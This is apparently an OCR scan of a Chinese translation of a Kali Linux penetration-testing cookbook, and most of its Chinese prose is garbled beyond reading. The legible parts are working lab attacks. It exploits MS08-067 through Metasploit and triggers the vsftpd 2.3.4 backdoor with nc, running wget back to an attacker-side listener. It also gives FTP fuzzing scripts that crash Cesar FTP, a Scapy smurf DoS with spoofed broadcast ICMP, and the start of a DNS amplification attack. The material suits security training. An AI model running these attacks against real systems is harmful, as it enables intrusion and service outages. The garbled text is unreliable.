nessuscmd <option> target...

A T 48 e s g NessusdEHFID T A2 T AL Tnessuscmdia &5 » o4 Rl -1 A&
oo FRBEPTENIBEHIDAE o ETiET B8 > RA14E A 52 89MS08-067 /& iF 69
EHIDWMATIAFS » 2 T -



root@KalilLinux:/opt/nessus/bin# ./nessuscmd -i 34477 172.16.36.1

35
Starting nessuscmd 5.2.5
Scanning '172.16.36.135'...

+ Host 172.16.36.135 is up
B kBBERE S %545 RGP R 6 R 0 EACEIAT o X ENE

B e RBEL M E o KB WRAAGLERF > 2R3t X ANIEHE 5
H oo AF XA



root@KaliLinux:/opt/nessus/bin# ./nessuscmd -i 34477 172.16.36.2

25

Starting nessuscmd 5.2.5
Scanning '172.16.36.225'...

+ Results found on 172.16.36.225
- Port microsoft-ds (445/tcp)
['] Plugin ID 34477

I
I
I
I
a flaw
I
I
I
I
I
I

Synopsis

Arbitrary code can be executed on the remote host due to

in the
'Server' service.
Description

The remote host is vulnerable to a buffer overrun in the

'Server'

ode on

-067

I
I
I
I
I
|
XP, 2
|
|
|
|
|
|
|
|
|
|

service that may allow an attacker to execute arbitrary c
the

remote host with the 'System' privileges.

See also

http://technet.microsoft.com/en-us/security/bulletin/ms08

Solution

Microsoft has released a set of patches for Windows 2000,

003,

Vista and 2008.

Risk factor

Critical / CVSS Base Score : 10.0
(CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)
CVSS Temporal Score : 8.7
(CVSS2#E:H/RL:0F/RC:C)

Public Exploit Available : true

TAERE



REFRAPME LA FHELEANATRALEZRATRAAATE HTHTK
HFro —RFRAT » RARHTUARILASZRREFZEITCPEZEFLiAT A KA
BYAFAE » R A b R o £ HMFEILT » TR \L}kﬁi}lﬁﬁb’:&" A8 2
B g EMFR > RIRXBF RSB SE—a L » GRS HITHLHRE -
Nessuscmdit 4748 F] 69 MK » K # & % MNessus#E 0 » 48 —/N4F T 893Dk
PAT o B—8R I ZPATRAARG F X o

5.6 1 Fl HTTP X % 5k 3oE /R iR

Y A F 3 MARA o AEAT 4 R IR 6 Bk 4 %a""—%i%ﬂ’éﬁ%&ﬁ fas& o fe 3Rty
BT o RATT a8 R 858 2 2 A2 KA AT RIF 2 ST A A A2 048 52 R84 4 /l\ﬂ)ﬂ
o Ja A AL o AT bR 89 — ﬁ’ﬁé’tﬂi@]k"/\Web}]ﬁk C IR BKRF
REFAL R 25 A Al RPATH ARG > 12 22 EMEGWebR FERXE o shfbff Kt
THefR S 8 X XB A » AT AHTTPR 301k A2 KA #HATRR -

&

Z4 AHTTP R Z 32 RiA - R F B —NE4TIA AR KA PAT R R 6 R4 &

"L° by Ry ERERALKRAEESR (izaVIM #Nano) FHWAEAI A% - A
%% "vﬂil’i\éﬁiyia RSN f‘:ly]fk%’v —= PR LARRE R (VIMF

Nano) "#:4%

B B

SR A RS T RAZIN > BIMNLARE—IMWebBEFE » B2eF5EHR
Z o XA — AN £ 8 PythonBy Ak Tk 0 = T AT & ¢

import socket
print "Awaiting connection...\n"

httprecv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
httprecv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
httprecv.bind(("0.0.0.0", ))

httprecv.listen(2)

(client, ( ip,sock)) = httprecv.accept()
print "Received connection from : ", ip
data = client.recv( )

print str(data)

client.close()
httprecv.close()



& ANPythonlp A& Bl B35 & R ER—MWeb/R % % » %R % 5 KT A Rk
B9TCP 8000 3% @ o 3K Bk A B Pk » WARB R E P H6IPbaie £
FEEFHR o A TR LB RIERR » RATEBIATRE » I BEZAGLETN
WebMk % # 47X Z o A2 RXZ A » RN FEEAAT 44 R H RN OM A

root@KaliLinux:~# ./httprecv.py
Awaiting connection...

FHT ko BMNEF AN FBEEHERBRATHRF o i34 EMetasploitable2& F A
#)NessusBa &R » BN TAE B Z/THFTPIRSA —ABT] > TAAIREF A
ERtR P L kR K o BRAARE. REFLAEAEFTPASRS T - AT 2
RAAE » KMNB A RIERELSOAPL LEEINRS » 2 T T :

root@KaliLinux:~# ftp 172.16.36.135 21

Connected to 172.16.36.135.

220 (vSFTPd 2.3.4)

Name (172.16.36.135:root): Hutch:)

331 Please specify the password.

Password:

NC

421 Service not available, remote server has closed connection

ZREZINCEERGA P L) » BIRGAZRE ZHMNTCP% 96200 L4774 © &
MEEFRFERARBE o RZ > ctrl + ¢ TRATREFTPEF % » RE Tk
FNetcatiZ #2474 89511 » e T AT :

root@KaliLinux:~# nc 172.16.36.135 6200
wget http://172.16.36.224:8000
--04:18:18-- http://172.16.36.224:8000/
=> “index.html'
Connecting to 172.16.36.224:8000... connected.
HTTP request sent, awaiting response... No data received.
Retrying.

--04:18:19-- http://172.16.36.224:8000/

(try: 2) => “index.html'
Connecting to 172.16.36.224:8000... failed: Connection refused.
NC

5t #h 0 2 TCP#E 4G + KATT AR A KAVE By A RIE > KAVRF T R#AT
ARG PAT o AL > KANZHA HTTP MR % H 85 URL A wget ° X
PATIARAG G » KAVT VAR & A By Al R Bl & TRE THTTP#H K



root@KaliLinux:~# ./httprecv.py

Received connection from : 172.16.36.135
GET / HTTP/1.0

User-Agent: Wget/1.10.2

Accept: */*

Host: 172.16.36.224:8000

Connection: Keep-Alive

IAEJR 32

B ARG RE AR R A TR INGEZEZ R o PITRELFERERALEFETR
M BFMES > RNTRAALA AR L O RARDELBEREPIITESHE o £
AR E B AREE wget H curl BHALT » TRELZRA 7 —FFHERXRH
A2 AAD HAT o

5.7 4% 1 ICMP 3 Z % 3542 /% R

PR Bt MARA o AEATL0 5 R R 0 B 45 R SRR RIBPAT o 122 > fo Lo lf
R+ AT AL R A5 R AL KA AT RIS T AL > A2 R A8 52 B 4 4 AF] P
T BRI ML o —# 7 E BT — WA RRICMPAS » A AREAKL
PATPINGH 4 o BRI T T 4T 5 B 2 LA » T4 A ICMP#R ¥ %t gz
R AT ] o

A%
Z48 MICMP X 31t FR » R E B — AN B ATIMA AL RAD AT IR 8 3409 A&
Yoo I AV EEBALAREER (VIMENano) BB ABAIH L% o A

XREMAGELIZE  HHARNRBEZ—FFOBAIARARES (VIMA
Nano) "#ki% o

BAYET %

5 BRI AT 0 RATLAEF— Ak > Rie RAEAMICMPAE o i
=T VA3 i 4% B Scapy 89 f £ Python#r A T A& » 4= T AT



import logging
logging.getLogger("scapy.runtime").setlLevel(logging.ERROR)
from scapy.all import *

def
try:
if (pkt[IP].dst=="172.16.36.224") and (pkt[ICMP]):
print str(pkt[IP].src) + " is exploitable"
except:
pass

print "Listening for Incoming ICMP Traffic. Use Ctrl+C to stop
listening"

sniff(1lfilter=rules, store=0)

X APythonp AT BT A £ AR E » 5 KB4 R A EMICMPA Z 89 /A7
A BAERIR o A TAE R bl RIS TERIR AT RS A 0 B EBHATRA » £
A% ping RN BER AL - AT EFZ— & » KA1 244 A Metasploit & F)
2 A2 R AT RIR o A2 XA » RATHERB FH RN A > 4o F

root@KaliLinux:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listeni

ng

BT R RMNE2A RS B @R HATHRA o AL E Windows XP 1E #)
Nessus 2 # 4 R » KMTUEF R ALK 5 <2 MS08-067 BRI & s EK o AT %t
& — & RAVE A MAT ping F 4B 2 E L ping KA H ALK AR
Bl ke AT

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set PAYLOAD windows/exec

PAYLOAD => windows/exec

msf exploit(ms08_067_netapi) > set RHOST 172.16.36.225

RHOST => 172.16.36.225

msf exploit(ms08_067_netapi) > set CMD cmd /c ping 172.16.36.22
4 -n 1

CMD => cmd /c ping 172.16.36.224 -n 1

msf exploit(ms08_067_netapi) > exploit

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...



Metasploit ¥ & F| il i & 4 1% 1 windows / exec AT @ BAWF| A &% F HATK
oo JBAEEA @EN K ARLZEANICMPE L5 K o AT/E » &ATT WA
i EF A YT 6 R AE B AR R AR NIRRT G R 0 e TR

root@KaliLinux:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listeni

ng
172.16.36.225 is exploitable

IAEJR 32

SLBP R 89 R I W R B A ZAUE A AMICMPIAE o it BT - 12 e fE A
Yo 6 BAVE B0 TR 4 B K AW Bk R o AT AR AN 45 8RR R IR SR AR K
AT LB T AR o



BHAE LR

Y4 : Justin Hutchens
CE Y
1L : CC BY-NC-SA 4.0

fEATEHE » BARABL ZBRMFEAT TR AERLAFME G D BEERE > &
W REEXEELRSE (DoS) KFHAE o DoS K EHTHRAARL » FETH
FEF DT o RARHA R » RERM AL A — LR IAE SR B o A T RE9%E A
T AE A B 8 Fe 45 B TR A BN 0 S0 T MRILA 69 DoS A 89 XA R 5 48 % 89
A B o

F2 $ gkt 5 B 69 B ARk A z%’&Mﬁ@ﬁm~%£$ﬁw # T BT
ARFEF 869 DoS KFA Xk o KM AT Re9H4E P14 869 DoS KETUSH
Lo RiEH RERKRKFRXTRGIELEH o ?Ml]/h‘&:ktﬂbﬁ/?ﬁi/a’% X M R A8 sk
09 TAE R ¥ AR % 69 — R R M) o

BHRBHE—FRERRR > TRIELALGF  BRERXENRERFALNIEL
Mo —fkt s BHRRBHES SFKIELIRS » BACTReF AL EEIEH I &K
BT NG o XTHRESTHHATAE » A SBBSIBELEH T - AE
AR DOS KA HAKTME R » RERMET R M % H Tk~ A DoS
Mo RERRAEFEANMEHA RS o BEEHLT

o TEE : AFHF LAY FRTAETELRIN TS o XA FARL IP
kI o BA UDP A w &6l » BT vA4E A UDP 154 48 X 69 4%
MEW RS FHERAEHL s TRAATARALIHEGFR YRS AR TG
B A T A o

o K ERANBELAKTHRGARGER  BETT RN AR LEF K
G RRRMK » HERAART o

4o+ 4o RAILT A A 10 45 T8 %% R 8o 5 89 UDP R % » sk o 4 T Al A%
WG A 10 F R S A 0 T R 0 i 8 R B SRR 5
T 4R 0 B A A o RN AR R e T AR 0 P EAUR S B
F A% 0 AH T AN A6 5] — AL » A TR R A AR 4B T AT EE T 60 4
P o A R BT A A BA AR > BIERN G 0 RBBIGE A E
CEES P S FTIL Sy

6.1 1 A A A M X R IR A &P R G

PR B & 0 R % R 09 A A R — AR MR, o AR MR A AR T 6 K
WUEIE A 3 20 R B » R RG B A LR o EEHGERLT » AKIET
RXBEERBETHNEFR » ALY FLEERAGE o bR T AR}
FBE AL RAGM K o £RBHT > %0b R G 8RR T AR FHAT R 242
ARG o ERXABE T 0 BRI 2B MAd K8 T LHFuzzing T & » kM
KGR A RR o


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

£ &

AT HATZAREBM R > REEH —ANEITTCP R UDP MA R 5094 % - it
ey F o 42 T A FTP IR %49 Windows XP A% - A %% & Windows %
G FE 513 8 0 A FE RS E—F 692 % Windows Server'#kfs o bt K¥ F
2 ALARERE (@ VIM X Nano) ¥ ABAIH A% - AXREMWANGES
28 H5AAABHF TN B A LA%RESR (VIM A Nano) "FkiE o

IAEJR 32

Python £ =569 AEZ » THT AL 8 LR KXLL o HirfE
TCP MR %8 » £2HFRITATRALPITRAZRIETF7 > Foik 5] KR % 5%
T )AL o AEFTAERINY KA 22 B 698 0 G FIEAE N R % BT 45 6 R Bt
TFEER o BITLT WA TUAR RN RX FTP IR 5693015 89 48 > 4o
TH & :



#!/usr/bin/python

import socket
import sys

if len(sys.argv) != 6:

print "Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Payl
oad] [Interval] [Maximum]"

print "Example - ./ftp_fuzz.py 10.0.0.5 21 A 100 1000"

print "Example will fuzz the defined FTP service with a seri
es of payloads"

print "to include 100 'A's, 200 'A's, etc... up to the maxim
um of 1000"

sys.exit()

target = str(sys.argv[1l])

port = int(sys.argv[?2])

char = str(sys.argv[3])

i = int(sys.argv[4])

interval = int(sys.argv[4])

max = int(sys.argv[5])

user = raw_input(str("Enter ftp username: "))

passwd = raw_input(str("Enter ftp password: "))

command = raw_input(str("Enter FTP command to fuzz: "))

while i1 <= max:
try:
payload = command + " " + (char * i)
print "Sending " + str(i) + " instances of payload (" +
char + ") to target"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect((target, port))

s.recv(1024)
s.send('USER " + user + '\r\n'")
s.recv(1024)
s.send('PASS ' + passwd + '\r\n'")
s.recv(1024)
s.send(payload + '\r\n')
s.send( 'QUIT\r\n")
s.recv(1024)
s.close()
1 =1 + interval
except:

print "\nUnable to send...Server may have crashed"
sys.exit()

print "\nThere is no indication that the server has crashed"



BP ARG H—3 45 LT Python BBERILE » FIAMEFNE - F_HorkER
a5 E > AHREIGHRGE S AL - - RN EZIH5 T UG£ EN
APATRRARANLE o 2P AT EMARSH P HUE TNOME > TE5HE
PATE R AR o FIRN T EALETHAGA P HMmARTL - &G A
ERIFSZ LT EMM XL o BA1IAT ftp_fuzz.py X > & TF :

root@KaliLinux:~# ./ftp_fuzz.py

Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Payload] [Inter
val] [Maximum]

Example - ./ftp_fuzz.py 10.0.0.5 21 A 100 1000

Example will fuzz the defined FTP service with a series of paylo
ads to include 100 'A's, 200 'A's, etc... up to the maximum of 1
000

root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 A 100 1000
Enter ftp username: anonymous

Enter ftp password: user@mail.com

Enter FTP command to fuzz: MKD

Sending 100 instances of payload (A) to target
Sending 200 instances of payload (A) to target
Sending 300 instances of payload (A) to target
Sending 400 instances of payload (A) to target
Sending 500 instances of payload (A) to target
Sending 600 instances of payload (A) to target
Sending 700 instances of payload (A) to target
Sending 800 instances of payload (A) to target
Sending 900 instances of payload (A) to target
Sending 1000 instances of payload (A) to target

There 1s no indication that the server has crashed

R AREZAESRENRAAHLEOELTIAT > WAK RGN A% - AL
MNELIRVEA R RHBE L o BB BB AN FE—N5ZE 47 IP ik o 3k P
Rt T 5B E MM FTP IR £ 69 2448 %469 |IP ik o T— N5 AELT
FTP R %8905 c ARZHHFENLT » FTP &£ TCPs# 2 21 #iE4T o« HA T LT
EWREFERZINREOFHRTFAFS o interval 2L T E£—RBEXPIE#
B FTP RZ BT EBI K - AR ZIMOKE > AdBEK T BAEOOEE
T A e R E Gk AR e Bl ROKAE o SRR d G — D SRR S o ERAR
B ARHEBPATH ARG » ©H1E K FTP IR 6 F iy e FaE » 7519 19 & & AR A
G A3t jE B9 SRR B ATAE R M K, o AR EG ] > AR MK T P M

Bk 172.16.36.134 & Windows XP £ AL8) TCP 5% v 21 L4769 FTP AR 43k

T - BEAREZFRBEESRLTAAEZELTRFMRALN FTP RS o sb9h > — 47| As
WAt % 2] MKD 321E)E 695 68 > A 100 A5 -4 » K3 H 100 » B EHK 3] &
X 1000 A 524 o B 6 Bp AL T VAR kAR 3% 847 P 09— & 5 F 4% ¢



root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 ABCD 100 500
Enter ftp username: anonymous

Enter ftp password: user@mail.com

Enter FTP command to fuzz: MKD

Sending 100 instances of payload (ABCD) to target

Sending 200 instances of payload (ABCD) to target

Sending 300 instances of payload (ABCD) to target

Sending 400 instances of payload (ABCD) to target

Sending 500 instances of payload (ABCD) to target

There is no indication that the server has crashed

L TR B F > BATR T LA ABCD » F Bz 847 89 L1 LA 100 8943
% > H 3| & KAA 500 °

IAEJR 3

— kR BPRA RS FEIELRSE 0 BAEA TS BIE S LB & 2 IE
AR GE o ZTRFBIHATAE > HFEIRFIBELRLAHR T o LA sh 71t
W T ARG IERER » EREZIBEAARFTOERLT » EEFHTBRER
B AABABRFEZRENBMEANGFT] o R R AZFEL AT 2E
Jl Ctrl + C BB XM - EZXFHERAT » WAL RBRE - ATELUBMTL
FRFE o FFEHM S B THROCH T o

6.2 FTP ZA2/R % 9% i R & th DoS 2 &

FEEFAGERLT » MAKETREBELB TR PR A ALY TESRANG
Bo b BB PHBATARLASHEAREFRALA R o LLEFRLT » EHR
BRI VAR T HAT R BB GRE o I AP » KA T Cesar
0.99 FTP MR %8945 i R & & » B T4 AT # AT DoS B & 69 =] o

%

AT HATZAZEB MR > IREEHA —ANEITTCP R UDP MAMR 5094 % - iR
e P o 4 T A FTP IR %49 Windows XP A4 - A %% & Windows %
G F 5138 0 HAEADH -9 %2 Windows Server'#kfE o 3kt A¥ F
ZE AL ARER (42 VIM & Nano) B ABAIH L% - AXREMWANE S
8 HHAEARDE - A IARE L (VIM A Nano) "Hk4% o

BAE T B

H—ANANFHEHRAL Cesar 0.99 FTP R 448 % o sLiBRR &% LRRAFKE
(CVE) %% A% % L4 CVE-2006-2961 o i it xf bR R #ATH R > B AR VLA
&) MKD R X FERAITFRHGIRIEEFT] > kAR K TROZTRESE o A T #



%A\ n 3 UFZ) 45 % 4 Python B » AR Z G e 3R AR 6 P SR AR AR AR 69 4R
x> RAVZ BAS R AT AL Pt e R o KRG 0 &RATIT vAE RS 28 B Rk
F R LI A R R

#!/usr/bin/python

import socket
import sys

if len(sys.argv) != G5:

print "Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Inte
rval] [Maximum]"

print "Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000"

print "Example will fuzz the defined FTP service with a seri
es of line break "

print "characters to include 100 '\\n's, 200 '\\n's, etc...
up to the maximum of 1000"

sys.exit()

target = str(sys.argv[1l])

port = int(sys.argv[?2])

i = int(sys.argv[3])

interval = int(sys.argv[3])

max = int(sys.argv[4])

user = raw_input(str("Enter ftp username: "))

passwd = raw_input(str("Enter ftp password: "))

command = raw_input(str("Enter FTP command to fuzz: "))

while i <= max:
try:
payload = command + " " + ('\n' * i)
print "Sending " + str(i) + " line break characters to t
arget"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((target, port))
.recv(1024)
.send('USER ' + user + '\r\n')
.recv(1024)
.send('PASS ' + passwd + '\r\n')
.recv(1024)
.send(payload + '\r\n'")
.send('QUIT\r\n')
.recv(1024)
.close()
1 =1 + interval
except:
print "\nUnable to send...Server may have crashed"
sys.exit()

n ununnunnunonuon

print "\nThere is no indication that the server has crashed"



st i A PTG A5 PR @48 o 5 BASE R 4 3 o M BRAE A AR AR 69 R BB BAT 0 KRB TERAT
AT AL Y L B B R R AR o

root@KaliLinux:~# ./ftp_fuzz.py

Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Interval] [Maxi
mum ]

Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000

Example will fuzz the defined FTP service with a series of line

break characters to include 100 '\n's, 200 '\n's, etc... up to t
he maximum of 1000

root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 100 1000

Enter ftp username: anonymous

Enter ftp password: user@mail.com

Enter FTP command to fuzz: MKD

Sending 100 line break characters to target

Sending 200 line break characters to target

Sending 300 line break characters to target

Sending 400 line break characters to target

Sending 500 line break characters to target

Sending 600 line break characters to target

Sending 700 line break characters to target

AC

Unable to send...Server may have crashed

WwRWAEZAE SR ENAAAEOBFRTHAT AR RD ARG A% - &
G o BATTARATH A R — R P84T » €N EH 100 89423 > KA
1000 ° /£ & % 700 MRATH BTG > WA LR SERT > FRTEZHKE - £
— B R REHE > BAER Cctrl + C BB XH - WARTECOLEB L ELET
Fo A RLRBERSETROEH T - EETOHERA :

server exe has encountered a probdem and need: to
cloze. We are somy for the mconvenience

IF pou wese i the medde of omathang, the nformastion pou wers working on
maght be lost

Please tell Microzolt about this problem:
We have created an eror report that you can tend to us. 'We vl heat
thes report a3 conhdential and anorypmous

To see what data thes enot report contans, Cick hede

Send Enor Report | [ Dont Send |

i i iR ©] 3| 35 4T Cesar 0.99 FTP JE % Windows XP AL » &A1 L&
3| server.exe RARFRART o ZAELIREERERE LA FHEHRB T
Cesar FTP A& % -

IAE)a 3



— kUL B RBEEDS SFHRIELIRSE 0 WA EAN1T 4 F BIEZZIEM I B 2| IE
MG NGB o ITRPIPATAE » AFBEBSRBEEL LT o AL P
WM A TAEREL » AIREXBUEALARFOFAT » EEFERIBER
B FEMAY L ERREANEABTENTFD) o wREAIFREFERL WMAETER
£ ctrl + C BAl XM o« ARXMFHERLT » WAKREG—/4M712 0 RABLERAT L
ERE s ARLREBTRTAR -

6.3 Smurf DoS &

smurf X#H A% ¥ LA TFATHH RIELR % (DDoS) ARLFH R ELUHEAR
Z—o KK EIEEOMEL T IR E—ZT] ICMP FehiF K » A HE QR IP
ik o %&b E RaE Rt o LAN E&BTA T AL R il 3] 69 A h k45 R Y
AT EHE o IMFBARSARALOARKIK AAKRXRSEZAGFALEEIPE
BB HBARE ©

&

P ATsmurfE > BEEF—MAN> L@ETEANERY %%4%%7%{5'14% Ubuntu
AR Bz AX%E Ubuntu W8 2128 HAMNARAB S —F oy g
Ubuntu Server’#k$& o

B B

AT ZIRMATE 69 smurf & » Scapy T AR TR LM ELEZGRIEEL - A
T M Kali Linux 44474 1 Scapy » &M 2448 M scapy #4 > W T T AT
©) ) &3 X % ICMP R » RATLM B M F RO E R o RNKFEMHEY
H—EAIPE:



root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> i1 = IP()
>>> ji.display()
#a[ IP |###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> j.dst = "172.16.36.255"
>>> i.display()
###[ IP |###
version= 4
ihl= None
tos= 0Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= 1ip
chksum= None
src= 172.16.36.224
dst= 172.16.36.255
\options\

ZHMERNGFERGIPE > KRNEZH IP HEMLETE 1 - @A

A display() #i#k > RATT U EH F 098 HERE o BT » &K EFr 3RO AT
WA EERIE 127.0.0.1 © TRAMAII i.dst HE A BB FIHEME 0 %
F B AR A IS X efE o AR AR display() &Rifk o RAITAEE >
X E#H T B3k > M E Scapy L4 B #HAFR IP AL #H A 5 KINE DA X693
Ao MAERMNCEMETHRGIPE » KRAEZ ZELEHWE ICMP £

>>> ping = ICMP()
>>> ping.display()
#i#[ ICMP ###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0



ZHEENGIERGICMP B » BAN1BER S5 IP EARGEK o KINVFERALT »
ICMP B B EAMATEH I H R e AEKMNCTEZLNET IPH ICMP & » 115 %
Wi H XL E k& EER

>>> request = (i/ping)
>>> request.display()
H##[ IP ###

version= 4

ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64

proto= icmp
chksum= None
src= 172.16.36.224
dst= 172.16.36.255
\options\

###[ ICMP ###
type= echo-request
code= 0
chksum= None
id= Ox0
seq= 0x0

>>> send(request)

Sent 1 packets.

TREIE AR EZE > KEE IPF ICMP 2 o RBETAHR X ®EZ BIKL &
TEANERGHTE - RETUAEM display() Rk EFFERGRE o — 2
B2 THR > TR AR K4 o T4 A Wireshark & TCPdump % #4& &
MR ALK UEEER o EREQGTHBF > Wireshark &7 » LAN £ A A P ik
R T A B R

| —
Filter: licmp C | Expression... Clear
Mo. Source Destination Protocol  Info
7 172.16.36.1 172.16.36. 224 I Echo (pina) reply
16 172.16.36.2 172.16.36.224 ICcMP Echo (ping) reply

ERRE > Aok R Ml R R AMAT A 3L DoS Kk o kR XA B H B A —
AR FRARIC A ZI TP » ERIRTRE LM o A 4% 690 Hoht 5k Ak &
B EFLT » RIAFFEEHA T HEFEBARE IP Mk



>>> send(IP(dst="172.16.36.255",src="172.16.36.135")/ ICMP(),cou
nt=100, verbose=1)

Sent 100 packets.

RGBT > Scapy 89 EATH AR T HATH AT 148 6948 Fl4RAE » {2 3bEf ik
Ih 0 TR IP Hubb Ak i LAN B — AN AL 693Ak o b count TR TR 5
RiEBEAMER o

IAEJR 32

MRKEGRERZFA G 7RG EMBREEE BT o T % s Rk&k&H o &
ik A KA

o A T#HATHF T I E#H KR
o & B FTUEF B R4 e B S S 5 B A KT R T RS R o

1% smurf X FH LRI &2 T LAN Lefi R IP 2 @67 AR E 0 A o XA THM
AR 2409053 IP Xk 30 ICMP 7 #@ea1F K » KRG 45t 3K 3| 69 &M F K E
KR & ICMP & vk 2 o

6.4 DNS 7L X DoS =&

DNSH K 3 it it %t 26 % AT HT A £ 792 89 0% 538 » A4 A A58 DNS #2
ME o BRI G $ A AR B & %35 KRR DDoS W4k o T VAR & KA
ke B R o

R
A TS DNS M A& > G EA — DAL RS E - Ko — A T2

FF15 B 69 L ARIR % 25 69 |P Huhk o if%#’(—?ﬁ 7413 Ubuntu A E-a# B4 o A XK E
Ubuntu 8 & %12 & » 55 B A % —F F 9“2 X Ubuntu Server’#:4% -

BAE T’

AT T DNS & K6 TAERIE > Tl A kK8 DNS &g L & »
4 host ° dig 3 nslookup ° AT x5 CE LGB X 9P A 2 F X B IAT
HERRFEER —RIFREED T Y KGR



root@KaliLinux:~# dig ANY google.com @208.67.220.220

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> ANY google.com @208.67.22
0.220

;7 global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41539

;; flags: gr rd ra; QUERY: 1, ANSWER: 17, AUTHORITY: ©, ADDITION
AL: 0O

;; QUESTION SECTION: ;

google.com. IN  ANY

;; ANSWER SECTION:

google.com. 181 IN A 74.125.232.101
google.com. 181 IN A 74.125.232.97
google.com. 181 IN A 74.125.232.102
google.com. 181 IN A 74.125.232.99
google.com. 181 IN A 74.125.232.104
google.com. 181 IN A 74.125.232.96
google.com. 181 IN A 74.125.232.100
google.com. 181 IN A 74.125.232.103
google.com. 181 IN A 74.125.232.105
google.com. 181 IN A 74.125.232.98
google.com. 181 IN A 74.125.232.110
google.com. 174 IN AAAA 2607:f8b0:4004:803::1007
google.com. 167024 IN NS ns2.
google.com.

google.com. 167024 IN NS nsi.
google.com.

google.com. 167024 IN NS ns3.
google.com.

google.com. 167024 IN NS ns4.
google.com.

google.com. 60 IN SOA nsi.

google.com. dns-admin.
google.com. 1545677 7200 1800 1209600 300

;5 Query time: 7 msec

;7 SERVER: 208.67.220.220#53(208.67.220.220)
;5 WHEN: Thu Dec 19 02:40:16 2013

;» MSG SIZE rcvd: 35

AREGTH T > 5 google.com HAA KT A FRAEHRKE® T — 4l

& A 1TAMAIEE 0 1/DAAAAIL K » 44NSE K A2 14ASOATE E » DNSHK KK &
B R ek KON BEEA X o KAV £X4E A Scapy F 4 & 69 448 eLdhiT48

Bl 89 4RAE o BRE KA1 DNS £915 K » RATLM A LW BFRGER o KN
FREMENE—EEZIPE



root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> i = IP()
>>> j.display()
#Hit#[ IP |###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> i.dst = "208.67.220.220"
>>> i.display()
###[ IP |###
version= 4
ihl= None
tos= 0Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= 1ip
chksum= None
src= 172.16.36.180
dst= 208.67.220.220
\options\

ZHMERNGERGIPE > KRNEZH IP HEMLEE 1 - @A

A display() #i#k > RATT A EH F 098 HEE o BT » &K EFr 3RO aEAT
WA EFEHIE 127.0.0.1 © TRAMAII i.dst HE A BRI FIHFEME 0 %
F B AR IS X e fE o AR AR display() &Ridk o RAITTAEE >
X E#H T B33k > M E Scapy L4 B #HAFR IP Ak 3 A 5 KINE DA X693
Ao MAERMNCEMETHROGIPE » KRANZ ZAELME UDP 2 :

>>> u = UDP()

>>> yu.display()

#i#[ UDP |###
sport= domain
dport= domain
len= None
chksum= None

>>> u.dport 53



B EEAH RS UDP B » EAVE RN S5IPEA B AR o 23R4 715

T oupp MERLT u TE o LAl TR B display() Rik kA

TERINEE o XL > KA1 AA B RA B 438 2 69 ZKIAMEAR 7] 4 domain o &
THAF R » XA TH% 0 5348%8) DNS/R % - DNS £ —#% LegR % » @ %

TALEMG AL LRI o AN EX—F > BN TREZIN AT T LEEEERAR
G o BRARCEHMET IPA UDP & » ZIMNEEZMEDNS 2 :

>>> d = DNS()

>>> d.display()

###[ DNS |###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc=
rd=
ra=
z= 0
rcode= ok
gdcount=
ancount=
nscount=
arcount=
gd= None
an= None
ns= None
ar= None

[oNocNO)

[oNocNoNO]

AT HERANGEREGDNSE » MK A L IP F= UDP EAR R 89K o ZE4RBE
Byl o DNS H ZMAT d T o ealArill » TUGAZAA display() &%
kAT KN E o ARXE > AT AF B A JUAMEE 252 ¢



>>> d.rd = 1

>>> d.qdcount = 1
>>> d.display()
##t#[ DNS |###

id= 0

qr= 0
opcode= QUERY
aa= 0

tc= 0

rd= 1

ra= 0

z= 0
rcode= ok
gdcount= 1
ancount= 0
nscount= 0
arcount= 0
gd= None
an= None
ns= None
ar= None

RD fi % 24 s, BRI rd HREH 1 RER - 031> F2

A qdcount #2EEME 0x0001 ; X VLA R LA 1 kT o BT R KA

Al display() &%k KM TURELGCERAETRE - ALELEHET P>
UDP #= DNS & » &M1& ZME— A DNS F &2k h5fsd qd 14 :

>>> g = DNSQR()

>>> q.display()

###[ DNS Question Record ]|###
gname= "'.'
qtype= A
gclass= IN

#1 T #17 DNS Fl# 2k » £A41951£ A 5 IP » UDP #= DNS EAa R 89 K - 324
BB F > DNS FIA L & K q B o dedT AT » T XLl it A
Al display() R#FH % THKINGRE o £X L » KNTAEE A ILMLE BB

>>> (.gname = 'google.com'
>>> (.qtype=255
>>> q.display()
###[ DNS Question Record ]|###
gname= 'google.com'
qtype= ALL
gclass= IN



gqname 1A F B EAELZWGE o A qtype FRAI A —NELE 255
kT EA ALL o A BRIAM display() H&K > BN TABIELGFTCERET
